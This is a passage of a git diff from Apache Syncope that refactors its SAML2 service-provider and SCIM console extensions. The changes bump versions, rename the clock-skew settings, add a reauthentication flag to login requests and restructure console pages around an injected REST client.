maximumAuthenticationLifetime) { + this.maximumAuthenticationLifetime = maximumAuthenticationLifetime; + } + + public long getAcceptedSkew() { + return acceptedSkew; } - public void setSkew(final long skew) { - this.skew = skew; + public void setAcceptedSkew(final long acceptedSkew) { + this.acceptedSkew = acceptedSkew; } } diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/init/SAML2SP4UILoader.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/init/SAML2SP4UILoader.java index f1aa3748c05..e9f082dad8c 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/init/SAML2SP4UILoader.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/init/SAML2SP4UILoader.java @@ -18,36 +18,18 @@ */ package org.apache.syncope.core.logic.init; -import java.io.InputStream; -import java.security.KeyStore; -import java.security.PrivateKey; -import java.security.cert.X509Certificate; import org.apache.syncope.common.lib.types.EntitlementsHolder; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; import org.apache.syncope.common.lib.types.SAML2SP4UIEntitlement; import org.apache.syncope.common.lib.types.SAML2SP4UIImplementationType; -import org.apache.syncope.core.logic.SAML2SP4UIProperties; -import org.apache.syncope.core.logic.saml2.NoOpLogoutHandler; import org.apache.syncope.core.persistence.api.SyncopeCoreLoader; -import org.pac4j.saml.config.SAML2Configuration; -import org.pac4j.saml.metadata.keystore.BaseSAML2KeystoreGenerator; -import org.springframework.core.io.FileUrlResource; -import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.core.Ordered; public class SAML2SP4UILoader implements SyncopeCoreLoader { - protected final SAML2SP4UIProperties props; - - protected final ResourcePatternResolver resourceResolver; - - public SAML2SP4UILoader(final SAML2SP4UIProperties props, final ResourcePatternResolver resourceResolver) { - this.props = props; - this.resourceResolver = resourceResolver; - } - @Override public int getOrder() { - return 1000; + return Ordered.HIGHEST_PRECEDENCE; } @Override @@ -55,40 +37,4 @@ public void load() { EntitlementsHolder.getInstance().addAll(SAML2SP4UIEntitlement.values()); ImplementationTypesHolder.getInstance().putAll(SAML2SP4UIImplementationType.values()); } - - public SAML2Configuration newSAML2Configuration() { - SAML2Configuration cfg = new SAML2Configuration( - resourceResolver.getResource(props.getKeystore()), - props.getKeystoreStorepass(), - props.getKeystoreKeypass(), - null); - - cfg.setKeystoreType(props.getKeystoreType()); - if (cfg.getKeystoreResource() instanceof FileUrlResource) { - cfg.setKeystoreGenerator(new BaseSAML2KeystoreGenerator(cfg) { - - @Override - protected void store( - final KeyStore ks, - final X509Certificate certificate, - final PrivateKey privateKey) throws Exception { - - // nothing to do - } - - @Override - public InputStream retrieve() throws Exception { - return cfg.getKeystoreResource().getInputStream(); - } - }); - } - - cfg.setWantsAssertionsSigned(true); - cfg.setAuthnRequestSigned(true); - cfg.setSpLogoutRequestSigned(true); - cfg.setAcceptedSkew(props.getSkew()); - cfg.setLogoutHandler(new NoOpLogoutHandler()); - - return cfg; - } } diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2ClientCache.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2ClientCache.java index 945d2587f6e..c40ccb2e046 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2ClientCache.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2ClientCache.java @@ -67,13 +67,6 @@ public static Optional getSPMetadataPath(final String spEntityID) { return Optional.ofNullable(METADATA_PATH).map(path -> path.resolve(entityIDPath).toAbsolutePath().toString()); } - protected final List cache = Collections.synchronizedList(new ArrayList<>()); - - public Optional get(final String idpEntityID, final String spEntityID) { - return cache.stream().filter(c -> idpEntityID.equals(c.getIdentityProviderResolvedEntityId()) - && spEntityID.equals(c.getConfiguration().getServiceProviderEntityId())).findFirst(); - } - public static SAML2SP4UIIdPTO importMetadata( final InputStream metadata, final SAML2Configuration cfg) throws IOException { @@ -122,6 +115,13 @@ public static SAML2SP4UIIdPTO importMetadata( return idpTO; } + protected final List cache = Collections.synchronizedList(new ArrayList<>()); + + public Optional get(final String idpEntityID, final String spEntityID) { + return cache.stream().filter(c -> idpEntityID.equals(c.getIdentityProviderResolvedEntityId()) + && spEntityID.equals(c.getConfiguration().getServiceProviderEntityId())).findFirst(); + } + public SAML2Client add( final SAML2SP4UIIdP idp, final SAML2Configuration cfg, final String spEntityID, final String callbackUrl) { diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2SP4UIUserManager.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2SP4UIUserManager.java index c7ab14d98ad..43724ec2fbc 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2SP4UIUserManager.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/saml2/SAML2SP4UIUserManager.java @@ -31,7 +31,6 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.EntityTOUtils; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; @@ -217,14 +216,11 @@ public String create(final SAML2SP4UIIdP idp, final SAML2LoginResponse loginResp templateUtils.apply(userCR, idp.getUserTemplate().get()); } - List actions = getActions(idp); - for (SAML2SP4UIIdPActions action : actions) { - userCR = action.beforeCreate(userCR, loginResponse); - } - UserTO userTO = new UserTO(); fill(idp.getKey(), loginResponse, userTO); - EntityTOUtils.toAnyCR(userTO, userCR); + + Optional.ofNullable(userTO.getUsername()).ifPresent(userCR::setUsername); + userCR.getPlainAttrs().addAll(userTO.getPlainAttrs()); if (userCR.getRealm() == null) { userCR.setRealm(SyncopeConstants.ROOT_REALM); @@ -233,6 +229,11 @@ public String create(final SAML2SP4UIIdP idp, final SAML2LoginResponse loginResp userCR.setUsername(nameID); } + List actions = getActions(idp); + for (SAML2SP4UIIdPActions action : actions) { + userCR = action.beforeCreate(userCR, loginResponse); + } + Pair> created = provisioningManager.create(userCR, false, userCR.getUsername(), SAML2SP_CONTEXT); userTO = binder.getUserTO(created.getKey()); @@ -258,12 +259,16 @@ public String update(final String username, final SAML2SP4UIIdP idp, final SAML2 userUR = action.beforeUpdate(userUR, loginResponse); } - Pair> updated = - provisioningManager.update(userUR, false, userTO.getUsername(), SAML2SP_CONTEXT); - userTO = binder.getUserTO(updated.getLeft().getKey()); + if (userUR.isEmpty()) { + LOG.debug("No actual changes to apply for {}, ignoring", userTO.getUsername()); + } else { + Pair> updated = + provisioningManager.update(userUR, false, userTO.getUsername(), SAML2SP_CONTEXT); + userTO = binder.getUserTO(updated.getLeft().getKey()); - for (SAML2SP4UIIdPActions action : actions) { - userTO = action.afterUpdate(userTO, loginResponse); + for (SAML2SP4UIIdPActions action : actions) { + userTO = action.afterUpdate(userTO, loginResponse); + } } return userTO.getUsername(); diff --git a/ext/saml2sp4ui/logic/src/main/resources/core-saml2sp4ui.properties b/ext/saml2sp4ui/logic/src/main/resources/core-saml2sp4ui.properties index 73c54d2df42..ddc058a3eab 100644 --- a/ext/saml2sp4ui/logic/src/main/resources/core-saml2sp4ui.properties +++ b/ext/saml2sp4ui/logic/src/main/resources/core-saml2sp4ui.properties @@ -14,8 +14,9 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -saml2.sp4ui.skew=300 -saml2.sp4ui.keystore=file://${conf.directory}/saml.keystore.jks +saml2.sp4ui.keystore=file://${syncope.conf.dir}/saml.keystore.jks saml2.sp4ui.keystore.type=jks saml2.sp4ui.keystore.storepass=changeit saml2.sp4ui.keystore.keypass=changeit +saml2.sp4ui.maximum-authentication-lifetime=3600 +saml2.sp4ui.accepted-skew=300 diff --git a/ext/saml2sp4ui/persistence-api/pom.xml b/ext/saml2sp4ui/persistence-api/pom.xml index c39b7909464..502078ff262 100644 --- a/ext/saml2sp4ui/persistence-api/pom.xml +++ b/ext/saml2sp4ui/persistence-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Persistence API diff --git a/ext/saml2sp4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/SAML2SP4UIIdP.java b/ext/saml2sp4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/SAML2SP4UIIdP.java index d1d93332d78..67480923b93 100644 --- a/ext/saml2sp4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/SAML2SP4UIIdP.java +++ b/ext/saml2sp4ui/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/SAML2SP4UIIdP.java @@ -57,6 +57,10 @@ public interface SAML2SP4UIIdP extends Entity { void setBindingType(SAML2BindingType bindingType); + Implementation getRequestedAuthnContextProvider(); + + void setRequestedAuthnContextProvider(Implementation requestedAuthnContextProvider); + SAML2SP4UIUserTemplate getUserTemplate(); void setUserTemplate(SAML2SP4UIUserTemplate userTemplate); @@ -70,8 +74,4 @@ public interface SAML2SP4UIIdP extends Entity { boolean add(Implementation action); List getActions(); - - Implementation getRequestedAuthnContextProvider(); - - void setRequestedAuthnContextProvider(Implementation requestedAuthnContextProvider); } diff --git a/ext/saml2sp4ui/persistence-jpa/pom.xml b/ext/saml2sp4ui/persistence-jpa/pom.xml index ba3ccbf2c69..953e328f7bb 100644 --- a/ext/saml2sp4ui/persistence-jpa/pom.xml +++ b/ext/saml2sp4ui/persistence-jpa/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Persistence JPA diff --git a/ext/saml2sp4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPASAML2SP4UIIdP.java b/ext/saml2sp4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPASAML2SP4UIIdP.java index 778f31ca240..fc118fcf1a4 100644 --- a/ext/saml2sp4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPASAML2SP4UIIdP.java +++ b/ext/saml2sp4ui/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPASAML2SP4UIIdP.java @@ -71,15 +71,12 @@ public class JPASAML2SP4UIIdP extends AbstractGeneratedKeyEntity implements SAML @Basic(fetch = FetchType.EAGER) private Byte[] metadata; + @Column(nullable = false) + private SAML2BindingType bindingType; + @NotNull private Boolean logoutSupported = false; - @Lob - private String items; - - @Transient - private final List itemList = new ArrayList<>(); - @NotNull private Boolean createUnmatching = false; @@ -89,12 +86,15 @@ public class JPASAML2SP4UIIdP extends AbstractGeneratedKeyEntity implements SAML @NotNull private Boolean updateMatching = false; - @Column(nullable = false) - private SAML2BindingType bindingType; - @OneToOne(cascade = CascadeType.ALL, orphanRemoval = true, fetch = FetchType.EAGER, mappedBy = "idp") private JPASAML2SP4UIUserTemplate userTemplate; + @Lob + private String items; + + @Transient + private final List itemList = new ArrayList<>(); + @ManyToMany(fetch = FetchType.EAGER) @JoinTable(name = "SAML2IdP4UIAction", joinColumns = diff --git a/ext/saml2sp4ui/pom.xml b/ext/saml2sp4ui/pom.xml index 9b7e0566f41..dd39e435052 100644 --- a/ext/saml2sp4ui/pom.xml +++ b/ext/saml2sp4ui/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-ext - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI diff --git a/ext/saml2sp4ui/provisioning-api/pom.xml b/ext/saml2sp4ui/provisioning-api/pom.xml index 074fa8c2a51..f05748c04dd 100644 --- a/ext/saml2sp4ui/provisioning-api/pom.xml +++ b/ext/saml2sp4ui/provisioning-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Provisioning API diff --git a/ext/saml2sp4ui/provisioning-java/pom.xml b/ext/saml2sp4ui/provisioning-java/pom.xml index 9a80f709d2f..af99fafcd29 100644 --- a/ext/saml2sp4ui/provisioning-java/pom.xml +++ b/ext/saml2sp4ui/provisioning-java/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Provisioning Java diff --git a/ext/saml2sp4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/SAML2SP4UIIdPDataBinderImpl.java b/ext/saml2sp4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/SAML2SP4UIIdPDataBinderImpl.java index 206fe83e083..c42b205c80c 100644 --- a/ext/saml2sp4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/SAML2SP4UIIdPDataBinderImpl.java +++ b/ext/saml2sp4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/SAML2SP4UIIdPDataBinderImpl.java @@ -174,6 +174,18 @@ public SAML2SP4UIIdP update(final SAML2SP4UIIdP idp, final SAML2SP4UIIdPTO idpTO idp.setUpdateMatching(idpTO.isUpdateMatching()); idp.setBindingType(idpTO.getBindingType()); + if (idpTO.getRequestedAuthnContextProvider() == null) { + idp.setRequestedAuthnContextProvider(null); + } else { + Implementation implementation = implementationDAO.find(idpTO.getRequestedAuthnContextProvider()); + if (implementation == null) { + LOG.debug("Invalid " + Implementation.class.getSimpleName() + " {}, ignoring...", + idpTO.getRequestedAuthnContextProvider()); + } else { + idp.setRequestedAuthnContextProvider(implementation); + } + } + if (idpTO.getUserTemplate() == null) { idp.setUserTemplate(null); } else { @@ -201,18 +213,6 @@ public SAML2SP4UIIdP update(final SAML2SP4UIIdP idp, final SAML2SP4UIIdPTO idpTO // remove all implementations not contained in the TO idp.getActions().removeIf(impl -> !idpTO.getActions().contains(impl.getKey())); - if (idpTO.getRequestedAuthnContextProvider() == null) { - idp.setRequestedAuthnContextProvider(null); - } else { - Implementation implementation = implementationDAO.find(idpTO.getRequestedAuthnContextProvider()); - if (implementation == null) { - LOG.debug("Invalid " + Implementation.class.getSimpleName() + " {}, ignoring...", - idpTO.getRequestedAuthnContextProvider()); - } else { - idp.setRequestedAuthnContextProvider(implementation); - } - } - return idapDAO.save(idp); } @@ -251,18 +251,17 @@ public SAML2SP4UIIdPTO getIdPTO(final SAML2SP4UIIdP idp) { idpTO.setSelfRegUnmatching(idp.isSelfRegUnmatching()); idpTO.setUpdateMatching(idp.isUpdateMatching()); + if (idp.getRequestedAuthnContextProvider() != null) { + idpTO.setRequestedAuthnContextProvider(idp.getRequestedAuthnContextProvider().getKey()); + } + if (idp.getUserTemplate() != null) { idpTO.setUserTemplate((UserTO) idp.getUserTemplate().get()); } populateItems(idp, idpTO); - idpTO.getActions().addAll( - idp.getActions().stream().map(Entity::getKey).collect(Collectors.toList())); - - if (idp.getRequestedAuthnContextProvider() != null) { - idpTO.setRequestedAuthnContextProvider(idp.getRequestedAuthnContextProvider().getKey()); - } + idpTO.getActions().addAll(idp.getActions().stream().map(Entity::getKey).collect(Collectors.toList())); return idpTO; } diff --git a/ext/saml2sp4ui/rest-api/pom.xml b/ext/saml2sp4ui/rest-api/pom.xml index fa0187ba561..3df8ea932a7 100644 --- a/ext/saml2sp4ui/rest-api/pom.xml +++ b/ext/saml2sp4ui/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI REST API diff --git a/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIIdPService.java b/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIIdPService.java index dd5e987a420..14abf936368 100644 --- a/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIIdPService.java +++ b/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIIdPService.java @@ -20,6 +20,7 @@ import io.swagger.v3.oas.annotations.Parameter; import io.swagger.v3.oas.annotations.enums.ParameterIn; +import io.swagger.v3.oas.annotations.headers.Header; import io.swagger.v3.oas.annotations.media.Schema; import io.swagger.v3.oas.annotations.responses.ApiResponse; import io.swagger.v3.oas.annotations.responses.ApiResponses; @@ -37,6 +38,7 @@ import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; +import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.syncope.common.lib.to.SAML2SP4UIIdPTO; @@ -78,6 +80,15 @@ public interface SAML2SP4UIIdPService extends JAXRSService { * @param input XML metadata * @return the entityID values for all imported SAML 2.0 Identity Providers */ + @ApiResponses( + @ApiResponse(responseCode = "201", + description = "SAML 2.0 Identity Provider successfully created", headers = { + @Header(name = RESTHeaders.RESOURCE_KEY, schema = + @Schema(type = "string"), + description = "Key value for the entity created"), + @Header(name = HttpHeaders.LOCATION, schema = + @Schema(type = "string"), + description = "URL of the entity created") })) @POST @Consumes({ MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) diff --git a/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIService.java b/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIService.java index 7047309b59f..975253417fe 100644 --- a/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIService.java +++ b/ext/saml2sp4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SAML2SP4UIService.java @@ -24,6 +24,7 @@ import io.swagger.v3.oas.annotations.security.SecurityRequirements; import io.swagger.v3.oas.annotations.tags.Tag; import javax.ws.rs.Consumes; +import javax.ws.rs.DefaultValue; import javax.ws.rs.GET; import javax.ws.rs.POST; import javax.ws.rs.Path; @@ -60,9 +61,10 @@ public interface SAML2SP4UIService extends JAXRSService { /** * Generates SAML 2.0 authentication request for the IdP matching the provided entity ID. * - * @param spEntityID SAML 2.0 SP entity ID. + * @param spEntityID SAML 2.0 SP entity ID * @param urlContext SAML 2.0 SP agent URL context - * @param idpEntityID SAML 2.0 IdP entity ID. + * @param idpEntityID SAML 2.0 IdP entity ID + * @param reauth whether ForceAuthn shall be set on the request * @return SAML 2.0 authentication request */ @POST @@ -71,7 +73,8 @@ public interface SAML2SP4UIService extends JAXRSService { SAML2Request createLoginRequest( @QueryParam("spEntityID") String spEntityID, @QueryParam("urlContext") String urlContext, - @QueryParam("idpEntityID") String idpEntityID); + @QueryParam("idpEntityID") String idpEntityID, + @DefaultValue("false") @QueryParam("reauth") boolean reauth); /** * Validates the received SAML 2.0 authentication response and creates JWT for the matching user, if found. diff --git a/ext/saml2sp4ui/rest-cxf/pom.xml b/ext/saml2sp4ui/rest-cxf/pom.xml index 3bf486d21c9..cecafa4f25c 100644 --- a/ext/saml2sp4ui/rest-cxf/pom.xml +++ b/ext/saml2sp4ui/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI REST CXF diff --git a/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIIdPServiceImpl.java b/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIIdPServiceImpl.java index 2773d6174a8..fc1f8781b27 100644 --- a/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIIdPServiceImpl.java +++ b/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIIdPServiceImpl.java @@ -48,7 +48,8 @@ public SAML2SP4UIIdPTO read(final String key) { @Override public Response importFromMetadata(final InputStream input) { - return Response.ok().header(RESTHeaders.RESOURCE_KEY, logic.importFromMetadata(input)).build(); + return Response.status(Response.Status.CREATED). + header(RESTHeaders.RESOURCE_KEY, logic.importFromMetadata(input)).build(); } @Override diff --git a/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIServiceImpl.java b/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIServiceImpl.java index 8ee18440acb..0aa1d08c661 100644 --- a/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIServiceImpl.java +++ b/ext/saml2sp4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/SAML2SP4UIServiceImpl.java @@ -51,12 +51,13 @@ public Response getMetadata(final String spEntityID, final String urlContext) { @Override public SAML2Request createLoginRequest( - final String spEntityID, final String urlContext, final String idpEntityID) { + final String spEntityID, final String urlContext, final String idpEntityID, final boolean reauth) { return logic.createLoginRequest( StringUtils.appendIfMissing(spEntityID, "/"), urlContext, - idpEntityID); + idpEntityID, + reauth); } @Override diff --git a/ext/scimv2/client-console/pom.xml b/ext/scimv2/client-console/pom.xml index 34ad845c7fb..35fcc5e62c9 100644 --- a/ext/scimv2/client-console/pom.xml +++ b/ext/scimv2/client-console/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 Client Console diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/SCIMConsoleContext.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/SCIMConsoleContext.java new file mode 100644 index 00000000000..75c3dd51611 --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/SCIMConsoleContext.java @@ -0,0 +1,34 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console; + +import org.apache.syncope.client.console.rest.SCIMConfRestClient; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class SCIMConsoleContext { + + @ConditionalOnMissingBean + @Bean + public SCIMConfRestClient scimConfRestClient() { + return new SCIMConfRestClient(); + } +} diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/pages/SCIMConfPage.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/pages/SCIMConfPage.java index a217d7bfba2..2487cc94e6c 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/pages/SCIMConfPage.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/pages/SCIMConfPage.java @@ -19,73 +19,34 @@ package org.apache.syncope.client.console.pages; import com.fasterxml.jackson.databind.json.JsonMapper; -import java.io.Serializable; import org.apache.syncope.client.console.BookmarkablePageLinkBuilder; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.panels.SCIMConfPanel; import org.apache.syncope.client.console.rest.SCIMConfRestClient; -import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; -import org.apache.syncope.client.console.wizards.any.ResultPanel; -import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.annotations.ExtPage; -import org.apache.syncope.common.lib.scim.SCIMConf; import org.apache.syncope.common.lib.scim.types.SCIMEntitlement; import org.apache.wicket.markup.html.WebMarkupContainer; -import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtPage(label = "SCIM 2.0", icon = "fa fa-cloud", listEntitlement = SCIMEntitlement.SCIM_CONF_GET, priority = 500) public class SCIMConfPage extends BaseExtPage { private static final long serialVersionUID = -8156063343062111770L; - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - private final WebMarkupContainer content; + @SpringBean + protected SCIMConfRestClient scimConfRestClient; public SCIMConfPage(final PageParameters parameters) { super(parameters); body.add(BookmarkablePageLinkBuilder.build("dashboard", "dashboardBr", Dashboard.class)); - content = new WebMarkupContainer("content"); - - content.add(new Label("body", "General")); + WebMarkupContainer content = new WebMarkupContainer("content"); content.setOutputMarkupId(true); body.add(content); - updateSCIMGeneralConfContent(SCIMConfRestClient.get()); - } - - private WebMarkupContainer updateSCIMGeneralConfContent(final SCIMConf scimConf) { - if (scimConf == null) { - return content; - } - content.addOrReplace(new SCIMConfPanel("body", scimConf, SCIMConfPage.this.getPageReference()) { - - private static final long serialVersionUID = 8221398624379357183L; - - @Override - protected void setWindowClosedReloadCallback(final BaseModal modal) { - modal.setWindowClosedCallback(target -> { - if (modal.getContent() instanceof ResultPanel) { - Serializable result = (Serializable) ResultPanel.class.cast(modal.getContent()).getResult(); - try { - SCIMConfRestClient.set(MAPPER.readValue(result.toString(), SCIMConf.class)); - - SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); - modal.show(false); - target.add(content); - } catch (Exception e) { - LOG.error("While setting SCIM configuration", e); - SyncopeConsoleSession.get().onException(e); - } - ((BasePage) pageRef.getPage()).getNotificationPanel().refresh(target); - } - }); - } - }); - - return content; + content.add(new SCIMConfPanel("scimConf", scimConfRestClient.get(), SCIMConfPage.this.getPageReference())); } } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfEnterpriseUserPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfEnterpriseUserPanel.java index 0df39fabf89..df10ffd41f1 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfEnterpriseUserPanel.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfEnterpriseUserPanel.java @@ -19,16 +19,13 @@ package org.apache.syncope.client.console.panels; import java.util.ArrayList; -import java.util.Collections; import java.util.List; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.wicket.markup.html.bootstrap.tabs.Accordion; import org.apache.syncope.common.lib.scim.SCIMConf; import org.apache.syncope.common.lib.scim.SCIMEnterpriseUserConf; import org.apache.syncope.common.lib.scim.SCIMManagerConf; -import org.apache.wicket.event.IEvent; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; -import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.model.Model; @@ -55,100 +52,90 @@ public SCIMConfEnterpriseUserPanel(final String id, final SCIMConf scimConf) { } scimEnterpriseUserConf = scimConf.getEnterpriseUserConf(); - AjaxTextFieldPanel costCenterPanel = - new AjaxTextFieldPanel("costCenter", "costCenter", - new PropertyModel<>("costCenter", "costCenter") { + AjaxTextFieldPanel costCenterPanel = new AjaxTextFieldPanel( + "costCenter", "costCenter", new PropertyModel<>("costCenter", "costCenter") { - private static final long serialVersionUID = -6427731218492117883L; + private static final long serialVersionUID = -6427731218492117883L; - @Override - public String getObject() { - return scimEnterpriseUserConf.getCostCenter(); - } + @Override + public String getObject() { + return scimEnterpriseUserConf.getCostCenter(); + } - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.setCostCenter(object); - } + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.setCostCenter(object); + } + }); + costCenterPanel.setChoices(userPlainSchemas.getObject()); - }); - costCenterPanel.setChoices(plainSchemaNames); + AjaxTextFieldPanel departmentPanel = new AjaxTextFieldPanel( + "department", "department", new PropertyModel<>("department", "department") { - AjaxTextFieldPanel departmentPanel = - new AjaxTextFieldPanel("department", "department", - new PropertyModel<>("department", "department") { + private static final long serialVersionUID = -6427731218492117883L; - private static final long serialVersionUID = -6427731218492117883L; + @Override + public String getObject() { + return scimEnterpriseUserConf.getDepartment(); + } - @Override - public String getObject() { - return scimEnterpriseUserConf.getDepartment(); - } + @Override + public void setObject(final String object) { + scimEnterpriseUserConf.setDepartment(object); + } + }); + departmentPanel.setChoices(userPlainSchemas.getObject()); - @Override - public void setObject(final String object) { - scimEnterpriseUserConf.setDepartment(object); - } + AjaxTextFieldPanel divisionPanel = new AjaxTextFieldPanel( + "division", "division", new PropertyModel<>("division", "division") { - }); - departmentPanel.setChoices(plainSchemaNames); + private static final long serialVersionUID = -6427731218492117883L; - AjaxTextFieldPanel divisionPanel = - new 